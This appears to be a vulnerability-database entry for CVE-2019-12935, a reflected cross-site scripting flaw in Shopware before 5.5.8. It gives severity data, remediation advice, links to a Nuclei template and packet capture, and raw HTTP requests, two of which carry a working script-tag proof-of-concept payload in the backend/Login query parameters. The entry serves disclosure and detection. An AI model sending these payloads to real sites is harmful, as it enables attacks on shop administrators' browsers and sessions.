| Title | Shopware < 5.5.8 - Cross-Site Scripting |
|---|---|
| Author | pussycat0x |
| Severity | High |
| Impact | Attackers can execute malicious scripts in the victim's browser, potentially leading to session hijacking or defacement. |
| Remediation | Update to version 5.5.8 or later. |
| CVSS Score | 7.4 |
| EPSS Score | 0.03784 |
| CVE ID | CVE-2019-12935 |
| CWE ID | CWE-79 |
| Tags | cve cve2019 shopware xss |
Shopware before 5.5.8 contains a reflected cross-site scripting (XSS) caused by unsanitized query string parameters in the backend/Login or backend/Login/load/ URI, letting attackers execute arbitrary scripts in the context of the victim’s browser, exploit requires sending crafted URL to the victim.
GET /admin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /backend HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /backend/Login?error=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /backend/Login/load/?param=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.2 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-12935.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-12935.pcap
N/AN/A